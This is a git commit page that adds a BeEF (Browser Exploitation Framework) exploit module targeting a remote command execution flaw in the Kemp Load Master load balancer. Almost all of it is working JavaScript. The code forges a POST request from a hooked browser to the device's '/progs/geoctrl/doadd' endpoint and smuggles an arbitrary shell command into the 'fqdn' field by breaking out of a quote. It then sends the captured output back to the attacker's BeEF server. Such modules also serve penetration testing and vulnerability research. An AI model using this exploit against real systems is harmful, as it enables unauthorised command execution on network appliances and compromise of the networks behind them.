Kemp Load Master RCE - BeEF module
This is a new module for BeEF to exploit a RCE vulnerability in Kemp Load Master load balancer. More information on this blog post: http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html
This commit is contained in:
37
modules/exploits/kemp_command_execution/command.js
Normal file
37
modules/exploits/kemp_command_execution/command.js
Normal file
@@ -0,0 +1,37 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var rhost = '<%= @rhost %>';
|
||||
var rport = '<%= @rport %>';
|
||||
var timeout = '<%= @timeout %>';
|
||||
|
||||
|
||||
var path = '/progs/geoctrl/doadd';
|
||||
var cmd = "<%= @cmd %>";
|
||||
|
||||
if (rhost.substring(0,5) == "https") {
|
||||
rhost = rhost.replace("https://","")
|
||||
protocol = "https"
|
||||
}
|
||||
else {
|
||||
rhost = rhost.replace("http://","")
|
||||
protocol = "http"
|
||||
}
|
||||
|
||||
|
||||
beef.net.forge_request(protocol, "POST", rhost, rport, path, null, null, { fqdn: "' <%= @cmd %>'" }, 10, 'html', false, null, function(response) {
|
||||
resp = response.headers+response.response_body;
|
||||
start = resp.indexOf("Content-Type: text/html");
|
||||
end = resp.indexOf("Cache-Control: no-cache");
|
||||
final = resp.slice(start+23,end)
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, final)
|
||||
});
|
||||
|
||||
|
||||
|
||||
});
|
||||
Reference in New Issue
Block a user